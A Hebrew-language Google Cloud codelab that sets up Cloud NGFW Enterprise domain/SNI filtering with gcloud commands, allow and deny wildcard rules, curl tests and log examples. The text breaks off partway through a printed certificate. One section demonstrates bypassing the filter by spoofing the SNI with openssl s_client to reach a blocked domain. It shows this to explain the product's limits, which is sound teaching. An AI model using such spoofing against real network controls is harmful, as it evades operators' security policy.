Cloud NGFW Enterprise Domain/SNI Filtering Codelab [Optional TLS Inspection]

1. מבוא

Cloud Next Generation Firewall ‏ (NGFW)

Cloud Next Generation Firewall הוא שירות חומת אש מבוזרת לחלוטין עם יכולות הגנה מתקדמות, מיקרו-פילוח וכיסוי נרחב, שמטרתו להגן על עומסי העבודה שלכם ב-Google Cloud מפני מתקפות פנימיות וחיצוניות.

היתרונות של Cloud NGFW:

  • שירות חומת אש מבוזרת: Cloud NGFW מספק אכיפה מבוססת-מארח ומבוזרת לחלוטין בכל עומס עבודה, כדי לאפשר ארכיטקטורת אבטחה של אפס אמון.
  • הגדרה ופריסה פשוטות: Cloud NGFW מטמיע מדיניות חומת אש היררכית ורשתית שאפשר לצרף לצומת בהיררכיית המשאבים. המדיניות הזו מספקת חוויה עקבית של חומת אש בהיררכיית המשאבים של Google Cloud.
  • שליטה גרנולרית ומיקרו-פילוח: השילוב של כללי מדיניות של חומת אש ותגים שמנוהלים על ידי ניהול זהויות והרשאות גישה (IAM) מספק שליטה מדויקת בתעבורה מצפון לדרום וממזרח למערב, עד לרמת המכונה הווירטואלית הבודדת, ברשתות של ענן וירטואלי פרטי (VPC) ובארגונים.

‫Cloud NGFW זמין ברמות הבאות:

  • Cloud Next Generation Firewall Essentials
  • Cloud Next Generation Firewall Standard
  • Cloud Next Generation Firewall Enterprise

אובייקטים של שמות דומיין שמוגדרים במלואם (FQDN) ב-Cloud NGFW Standard יכולים לתרגם שמות דומיין שמוגדרים במלואם (FQDN) לכתובות IP, ואז לאכוף את הכלל על רשימת כתובות ה-IP. עם זאת, Cloud NGFW Enterprise עם סינון דומיינים יכול לקחת את הבדיקה כמה צעדים קדימה.

Cloud NGFW Enterprise

‫Cloud NGFW Enterprise מציע כרגע שירות למניעת פריצות (IPS), יכולת של שכבה 7, למערכת המבוזרת של חומת האש של Google Cloud.

ל-Cloud NGFW Enterprise יש עכשיו סינון דומיינים, שמאפשר שליטה בתעבורת http(s) באמצעות שמות דומיין, במקום להסתמך על כתובות IP.

לסינון דומיין או SNI של תעבורת HTTPS, כחלק מלחיצת יד בפרוטוקול TLS, הודעת Client Hello היא תוסף שכולל את Server Name Indication (SNI). ‫SNI הוא תוסף לפרוטוקול TLS ששולח את שם המארח שהלקוח מנסה להגיע אליו. הסינון יאומת מול הנתונים האלה.

בתעבורת HTTP אין SNI, ולכן רק שדה הכותרת Host של HTTP ישמש להחלת הסינון.

סינון הדומיינים מוגדר באמצעות UrlFilteringProfile, שהוא סוג חדש של פרופיל אבטחה. ה-UrlFilteringProfile יכיל רשימה של UrlFilters, שכל אחד מהם מכיל פעולה, רשימה של מחרוזות התאמה ועדיפות ייחודית. בהגדרה הזו נעשה שימוש ב-Url (כתובת URL) במקום ב-Domain (דומיין) כדי לאפשר מעבר קל לסינון מלא של כתובות URL כשהוא יהיה זמין, במקום ליצור בעתיד סוג חדש של פרופיל אבטחה.

פרופילים של סינון כתובות URL כוללים מסנן כתובות URL מרומז בעדיפות הנמוכה ביותר (2147483647), שידחה את כל החיבורים שלא תואמים למסנן כתובות URL בעדיפות גבוהה יותר.

מה תפַתחו

ב-Codelab הזה נדרש פרויקט יחיד ויכולת ליצור רשת VPC ולנהל מספר משאבי רשת ואבטחה. במאמר הזה נדגים איך Cloud NGFW Enterprise יכול לספק סינון של דומיינים ו-SNI, עם הוראות אופציונליות לבדיקת TLS.

נבדוק תרחישים שונים של כללי הרשאה ודחייה, כולל שימוש בתווים כלליים.

4a779fae790d117.png

מצב הסיום של בסיס הכללים של מדיניות חומת האש בין רשתות יהיה דומה לטבלה הבאה:

עדיפות

כיוון

Target

מקור

יעד

פעולה

סוג

200

תעבורת נתונים נכנסת (Ingress)

הכול

IAP

הכול

אישור

Essentials

300

תעבורת נתונים יוצאת (egress)

הכול

הכול

0.0.0.0/0:80,443

בדיקה ברמה 7

Enterprise

מה תלמדו

  • איך יוצרים מדיניות חומת אש ברשת.
  • איך מגדירים ומשתמשים בסינון דומיינים או SNI ב-Cloud NGFW Enterprise.
  • איך מגדירים מניעת איומים בנוסף לסינון לפי דומיין או SNI.
  • איך בודקים את היומנים.
  • [אופציונלי] איך מפעילים בדיקת TLS.

מה תצטרכו

  • פרויקט Google Cloud.
  • ידע בפריסת מופעים ובהגדרת רכיבי רשת.
  • ידע בהגדרת חומת אש של מדיניות רשת.

‫2. לפני שמתחילים

יצירה או עדכון של משתנים

ב-Codelab הזה נעשה שימוש במשתנים כדי להקל על הטמעת הגדרות gcloud ב-Cloud Shell.

ב-Cloud Shell, מריצים את הפקודות הבאות ומחליפים את המידע שבתוך הסוגריים לפי הצורך:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=domain-sni

‫3. הפעלת ממשקי ה-API

מפעילים את ממשקי ה-API אם עדיין לא עשיתם את זה:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable privateca.googleapis.com

4. יצירת נקודות קצה של Cloud NGFW Enterprise

יצירת נקודת הקצה של Cloud NGFW Enterprise נמשכת כ-20 דקות, ולכן היא תיווצר קודם. אפשר לבצע את ההגדרה הבסיסית במקביל ליצירת נקודת הקצה.

סינון לפי דומיין או SNI ידרוש נקודת קצה של חומת אש גם אם אתם לא מתכוונים להשתמש בפרופילים של מניעת איומים.

יוצרים את פרופיל האבטחה ואת קבוצת פרופילי האבטחה:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$project_id

מריצים את הפקודה הבאה כדי לוודא שנקודת הקצה נוצרת (CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

תהליך היצירה נמשך כ-20 דקות. עוברים לקטע 'הגדרת הבסיס' כדי ליצור את המשאבים הנדרשים במקביל.

5. הגדרה בסיסית

רשת VPC ותת-רשת

רשת VPC ותת-רשת

יוצרים את רשת ה-VPC והתת-רשת:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

יוצרים את כתובת ה-IP החיצונית, Cloud Router ושער Cloud NAT:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

יצירת מכונה

יוצרים את מופע הלקוח:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet \
   --no-address \
   --zone $zone

מדיניות חומת אש גלובלית

יוצרים מדיניות גלובלית של חומת אש ברשת:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Domain/SNI Filtering" --global

יוצרים את הכללים הנדרשים ב-Cloud Firewall Essential כדי לאפשר תעבורת נתונים מטווחי שרת proxy לאימות זהויות (IAP):

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
      --src-ip-ranges=35.235.240.0/20

משייכים את מדיניות חומת האש בענן לרשת ה-VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. יצירת הגדרות סינון של דומיין/SNI להרשאה

בשלב הבא, נגדיר את הדומיינים שרוצים לאפשר או לחסום. מ-Cloud Shell, יוצרים את קובץ ה-YAML:

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 1000
      urls:
      - 'www.example.com'
EOF

יוצרים פרופיל אבטחה ומייבאים את הגדרות ה-YAML:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

הפלט אמור להיראות כך:

Request issued for: [$prefix-sp]
Waiting for operation [organizations/$org_id/locations/global/operations/operation-1758319415956-63f2ea4309525-8d2da6a0-929e6304] to complete...done.                                                              
createTime: '2025-09-19T22:03:36.008789416Z'
etag: aIWSVHl8Hbj726iTDFROnlceKINsUbfI-8at816WNgU
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
updateTime: '2025-09-19T22:03:38.355672775Z'
urlFilteringProfile:
  urlFilters:
  - filteringAction: ALLOW
    priority: 1000
    urls:
    - www.example.com
  - filteringAction: DENY
    priority: 2147483647
    urls:
    - '*'

כדי ליצור קבוצה של פרופילי אבטחה:

gcloud network-security security-profile-groups create $prefix-spg --organization=$org_id --location=global --url-filtering-profile=organizations/$org_id/locations/global/securityProfiles/$prefix-sp

מוודאים שקובץ ה-SPG מכיל את פרופיל האבטחה:

gcloud network-security security-profile-groups describe $prefix-spg \
--location=global \
--organization=$org_id \
--project=$project_id

הפלט אמור להיראות כך:

{
  "createTime": "2025-09-19T22:06:15.298569417Z",
  "dataPathId": "685",
  "etag": "Ru65whAbcsnTKYpVtKRGBtBUX2EbrPgCWI0_9540B00",
  "name": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
  "updateTime": "2025-09-19T22:06:19.201991641Z",
  "urlFilteringProfile": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp"
}

7. שיוך נקודת קצה של Cloud Firewall

מגדירים את משתני הסביבה אם עדיין לא עשיתם את זה או אם אתם מעדיפים את הגישה של הסקריפט.

מוודאים שיצירת נקודת הקצה של חומת האש ב-Cloud הושלמה בהצלחה. ממשיכים רק כשהסטטוס הוא ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

הפלט הצפוי (שימו לב שפורמט הפלט עשוי להשתנות בהתאם ללקוח שבו נעשה שימוש):

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

משייכים את נקודת הקצה של Cloud Firewall לרשת ה-VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

תהליך השיוך נמשך כ-10 דקות. אפשר להמשיך לקטע הבא רק אחרי שהסטטוס הוא ACTIVE (במהלך היצירה הסטטוס הצפוי הוא CREATING):

gcloud network-security firewall-endpoint-associations list

הפלט הצפוי כשמזינים את הערך complete:

ID: $prefix-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

8. יצירת כללים לחומת האש לסינון דומיין/SNI

ל-Google יש כללים מובלעים לחומת אש שמאפשרים תעבורת נתונים יוצאת (egress). אם רוצים לאכוף סינון של דומיין או SNI, צריך להגדיר כלל באופן מפורש. הכלל הבא ישלח תעבורת נתונים יוצאת ליציאות יעד 80 ו-443 לבדיקה על ידי פרופיל האבטחה שלנו.

gcloud compute network-firewall-policies rules create 300 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy  \
--global-firewall-policy \
--direction=EGRESS \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--layer4-configs=tcp:80,tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--enable-logging

9. אימות כללי ההרשאה

מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

שולחים את הבקשות לדוגמה ליעד המותר:

curl https://www.example.com --max-time 2

שימו לב שהבקשה הזו בוצעה בהצלחה בגלל כלל חומת האש 'allow'.

ננסה כמה דומיינים שלא נכללים ברשימה.

curl https://example.com --max-time 2
curl https://google.com --max-time 2
curl https://wikipedia.org --max-time 2

הפלט אמור להיראות כך:

curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer
curl: (35) Recv failure: Connection reset by peer

למה הדומיין example.com לא עבד? הסיבה לכך היא שההגדרה של פרופיל האבטחה כללה באופן מפורש את הערך 'www.example.com'. אם רוצים לאפשר את כל תת-הדומיינים של example.com, אפשר להשתמש בתו כללי לחיפוש.

גם הבקשות האחרות נכשלו. הסיבה לכך היא שבקבוצת פרופילי האבטחה יש דחייה כברירת מחדל עם העדיפות הנמוכה ביותר, ורק www.example.com מותר.

יוצאים מה-VM כדי לחזור ל-Cloud Shell.

exit

10. עדכון ההגדרה של סינון לפי דומיין או SNI עבור תווים כלליים

בואו נסתכל על קובץ ה-YAML ונבצע כמה עדכונים נוספים כדי להציג יכולות נוספות, כולל תמיכה בתווים כלליים. ניצור כלל שיאפשר שימוש ב-‎*.com, ששווה לכל דומיין שמסתיים ב-‎ .com. הערה: הפעולה הזו תחליף לחלוטין את התוכן של קובץ ה-YAML המקורי שנוצר בקטע הקודם.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

מעדכנים את פרופיל האבטחה באמצעות קובץ ה-yaml החדש:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

אימות ההגדרה של פרופיל האבטחה:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

הפלט אמור להיראות כך:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "NWFkiDgvE1557Fwx7TVTUiMJBAtnWVnWQ2-hhGEiXA0",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T03:45:42.519263424Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "ALLOW",
        "priority": 2000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

11. אימות כלל עם תו כללי

כדאי לוודא שהכלל עם התו הכללי פועל. מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

שולחים את בקשות הדגימה ליעדים המותרים:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

כל הבקשות האלה היו אמורות להצליח. אפשר לנסות דומיין אחר עם הסיומת ‎ .com. אם עדיין לא הצלחתם, ודאו שהמתנתם לפחות 10 דקות ונסו שוב.

אפשר אפילו לנסות כמה תת-דומיינים של ‎.com וכולם אמורים להצליח.

curl https://mail.google.com --max-time 2

יוצאים מה-VM כדי לחזור ל-Cloud Shell.

exit

12. עדכון ההגדרה של סינון לפי דומיין או SNI לסירוב

הראינו שיש כלל DENY מרומז עבור * בסוף פרופיל האבטחה, ויצרנו דומיינים 'מותרים' באמצעות filteringAction כ-'ALLOW'. נראה עכשיו איך להשתמש ב-filteringAction כ-DENY. פעולות DENY יכולות להיות שימושיות כשהן קודמות לפעולת ALLOW מפורשת. לדוגמה:

אנחנו נעדכן את קובץ ה-yaml הקיים כדי לאפשר את *.com אבל נדחה באופן ספציפי דומיינים מסוימים של .com.

אנחנו נשנה את קובץ ה-YAML כדי לדחות את *.github.com ואת *.google.com, תוך מתן אישור מפורש לכל שאר הכתובות עם הסיומת *.com, ונשאיר את הדחייה המרומזת שמוגדרת כברירת מחדל. שימו לב: לעדיפות של חריגים צריך להיות מספר עדיפות נמוך יותר: (1000 לעומת 2000) ו-(1500 לעומת 2000).

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.github.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.google.com'
    - filteringAction: ALLOW
      priority: 2000
      urls:
      - '*.com'
EOF

מעדכנים את פרופיל האבטחה באמצעות קובץ ה-yaml החדש:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

אימות ההגדרה של פרופיל האבטחה:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

13. אימות של כללי דחייה

עכשיו נבדוק אם כללי ה-DENY פועלים. מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

שולחים את בקשות הדגימה ליעדים שנחסמו:

curl https://www.github.com --max-time 2
curl https://mail.google.com --max-time 2

שתי הבקשות האלה היו אמורות להיכשל כי הן תאמו לכלל 'DENY'.

שליחת בקשות נוספות:

curl https://github.com --max-time 2
curl https://google.com --max-time 2

למה זה עבד? הכללים האלה פעלו כי כללי ה-DENY היו עבור ‎.github.com ו-‎.google.com. הבקשות אל github.com ו-google.com לא כוללות את התו הכללי לחיפוש, כי הוא מתייחס לתת-דומיינים של github.com ו-google.com.

בקשות אחרות לדומיינים עם הסיומת ‎ .com אמורות להצליח, עם דחייה כברירת מחדל לדומיינים אחרים. ‫(‎.org,‏ ‎.net,‏ ‎.me וכו')

יוצאים מה-VM כדי לחזור ל-Cloud Shell.

exit

14. עדכון ההגדרה של סינון דומיינים/SNI להגדרה 'ברירת מחדל של אישור'

מה קורה אם רוצים להגדיר התנהגות ברירת מחדל של אישור עם כללי דחייה מפורשים. נעדכן את קובץ ה-YAML כדי לשקף את ההתנהגות הזו. אנחנו נגדיר כללי DENY לכל דומיין עם הסיומות ‎ .com או ‎ .net, ונאפשר את כל שאר הדומיינים.

cat > $prefix-sp.yaml << EOF
name: organizations/$org_id/locations/global/securityProfiles/$prefix-sp
type: URL_FILTERING
urlFilteringProfile: 
  urlFilters: 
    - filteringAction: DENY
      priority: 1000
      urls:
      - '*.com'
    - filteringAction: DENY
      priority: 1500
      urls:
      - '*.net'
    - filteringAction: ALLOW
      priority: 2000000000
      urls:
      - '*'
EOF

מעדכנים את פרופיל האבטחה באמצעות קובץ ה-yaml החדש:

gcloud network-security security-profiles import $prefix-sp --location=global --source=$prefix-sp.yaml --organization=$org_id

אימות ההגדרה של פרופיל האבטחה:

gcloud network-security security-profiles describe $prefix-sp --location=global --organization=$org_id

הפלט הצפוי:

{
  "createTime": "2025-09-19T22:03:36.008789416Z",
  "etag": "72Q4RbjDyfjLPeNcNLAaJrUBgpO21idaqTMeDZf4VSw",
  "name": "organizations/$org_id/locations/global/securityProfiles/$prefix-sp",
  "type": "URL_FILTERING",
  "updateTime": "2025-09-20T04:32:53.299276787Z",
  "urlFilteringProfile": {
    "urlFilters": [
      {
        "filteringAction": "DENY",
        "priority": 1000,
        "urls": [
          "*.com"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 1500,
        "urls": [
          "*.net"
        ]
      },
      {
        "filteringAction": "ALLOW",
        "priority": 2000000000,
        "urls": [
          "*"
        ]
      },
      {
        "filteringAction": "DENY",
        "priority": 2147483647,
        "urls": [
          "*"
        ]
      }
    ]
  }
}

שימו לב שהדחייה המרומזת של * עדיין קיימת. הכלל הזה הופך ללא רלוונטי כי הגדרנו כלל ברירת מחדל בעדיפות גבוהה יותר (ערך נמוך יותר) שבו filteringAction מוגדר כ-ALLOW.

(2,000,000,000 לעומת 2,147,483,647)

15. אימות של כללי דחייה עם ברירת מחדל של אישור

נבדוק אם כללי ה-DENY פועלים יחד עם ברירת המחדל ALLOW. מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

שולחים את בקשות הדגימה ליעדים שנחסמו:

curl https://www.github.com --max-time 2
curl https://www.php.net --max-time 2

שתי הבקשות האלה היו אמורות להיכשל כי הן תאמו לכלל 'DENY'. כל בקשה עם סיומת ‎ .com או ‎ .net אמורה להיכשל.

שולחים כמה בקשות שאמורות להצליח (כל דומיין אחר ברמה העליונה):

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

הבקשות האלה אמורות להצליח כי הן תואמות לכלל ההיתר 'ברירת מחדל' עם עדיפות של 2000000000.

16. עיון ביומנים לסינון לפי דומיין או SNI

כדאי לבדוק איך אפשר לוודא שתעבורת הנתונים נבדקת על ידי כלל חומת אש לסינון דומיין/SNI.

ב-Cloud Console, עוברים אל Logs Explorer ומזינים את המסנן הבא:

jsonPayload.rule_details.priority:(300) AND jsonPayload.rule_details.reference=~"^network:[^/]*/firewallPolicy:domain-sni-fwpolicy$"

המסנן שלמעלה בודק את מדיניות חומת האש שיצרנו בשם $prefix-fwpolicy ואת העדיפות של הכלל 300, שקבוצת פרופילי האבטחה משויכת אליו בהגדרת הסינון של הדומיין או ה-SNI.

91854cacaec44798.png

כפי שאפשר לראות, הסטטוס של 'הסדר' הוא 'נחסם', מה שמצביע על כך שהתנועה נחסמה ונשלחה למנוע חומת האש שלנו לעיבוד.

כדי לראות את יומני הסינון של הדומיין או ה-SNI, אפשר להזין את המסנן הבא ב-Logs Explorer (צריך להחליף את $project_id בערך של project_id):

logName="projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter"

29fe9cfa3009cb70.png

אם נרחיב חלק מהפרטים, נוכל לראות את הפרטים הבאים בדוגמה (אחרי ניקוי):

{
  "insertId": "mro2t1f4banf9",
  "jsonPayload": {
    "direction": "CLIENT_TO_SERVER",
    "detectionTime": "2025-09-20T04:39:40.713432713Z",
    "connection": {
      "serverPort": 443,
      "serverIp": "198.35.26.96",
      "clientPort": 37410,
      "protocol": "TCP",
      "clientIp": "10.0.0.2"
    },
    "action": "ALLOW",
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "ruleIndex": 2000000000,
    "interceptInstance": {
      "projectId": "$project_id",
      "zone": "$zone",
      "vm": "$prefix-$zone-client"
    },
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "securityProfileGroupDetails": {
      "organizationId": "$org_id",
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg"
    },
    "sessionLayerDetails": {
      "sni": "wikipedia.org",
      "protocolVersion": "TLS1_2"
    },
    "denyType": "unspecified",
    "interceptVpc": {
      "projectId": "$project_id",
      "vpc": "$prefix-vpc"
    },
    "uriMatched": ""
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:39:43.758897121Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:39:43.758897121Z"
}

יומן הרישום לדוגמה שלמעלה מציג בקשה אל wikipedia.org שאושרה כי היא תאמה לכלל בעדיפות 2000000000, שהיה '*' עם filterAction ALLOW. יש פרטים נוספים, כולל SNI.

אפשר לראות דוגמה ליומן עם רשומת DENY:

{
  "insertId": "1pllrqlf60jr29",
  "jsonPayload": {
    "securityProfileGroupDetails": {
      "securityProfileGroupId": "organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg",
      "organizationId": "$org_id"
    },
    "action": "DENY",
    "interceptVpc": {
      "vpc": "$prefix-vpc",
      "projectId": "$project_id"
    },
    "connection": {
      "serverIp": "45.112.84.18",
      "clientIp": "10.0.0.2",
      "protocol": "TCP",
      "serverPort": 443,
      "clientPort": 45720
    },
    "@type": "type.googleapis.com/google.cloud.networksecurity.logging.v1.URLFilterLog",
    "applicationLayerDetails": {
      "uri": "",
      "protocol": "PROTOCOL_UNSPECIFIED"
    },
    "sessionLayerDetails": {
      "sni": "www.php.net",
      "protocolVersion": "TLS1_2"
    },
    "interceptInstance": {
      "zone": "$zone",
      "projectId": "$project_id",
      "vm": "$prefix-$zone-client"
    },
    "detectionTime": "2025-09-20T04:37:57.345031164Z",
    "direction": "CLIENT_TO_SERVER",
    "ruleIndex": 1500,
    "uriMatched": "",
    "denyType": "SNI"
  },
  "resource": {
    "type": "networksecurity.googleapis.com/FirewallEndpoint",
    "labels": {
      "id": "$prefix-$zone",
      "resource_container": "organizations/$org_id",
      "location": "$zone"
    }
  },
  "timestamp": "2025-09-20T04:38:03.757200395Z",
  "logName": "projects/$project_id/logs/networksecurity.googleapis.com%2Ffirewall_url_filter",
  "receiveTimestamp": "2025-09-20T04:38:03.757200395Z"
}

כפי שאפשר לראות למעלה, זו בקשה שנרשמה כשבקשה נדחתה. הבקשה הייתה לכתובת www.php.net שתאמה לכלל 1500 בפרופיל האבטחה. באופן דומה, המערכת השוותה את ה-SNI כדי לקבל את ההחלטה.

17. אימות כללים כשקיימת התחזות ל-SNI

כמו שצוין במבוא, NGFW Enterprise יכול לבדוק את כותרת המארח של HTTP לתעבורת HTTP, או לבדוק את ה-SNI לתעבורה מוצפנת של TLS. אנשים פרטיים יכולים לזייף SNI. מה יקרה אם הם יעשו את זה?

בואו נאמת את ההתנהגות. מתחילים חיבור SSH למכונה הווירטואלית דרך IAP:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מריצים את פקודת openssl הבאה כדי לזייף את ה-SNI:

openssl s_client -connect www.google.com:443 -servername ifconfig.me

בדוגמה שלמעלה, הצפי הוא שבקשות לדומיינים ‎ .com ו-‎ .net ייחסמו, ובקשות ל-TLD אחרים יותרו. בהמשך מופיעה דוגמה לתגובה מזויפת. הבקשה נשלחת אל www.google.com שאמור להיות חסום, אבל במקום לשלוח SNI של www.google.com, אנחנו מציינים SNI של ifconfig.me. מכיוון שהמדיניות בודקת את SNI, היא תראה את זה כדומיין 'מותר' ותאפשר את הגישה. הצלחנו ליצור חיבור TLS אל google.com.

.

הפלט אמור להיראות כך:

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
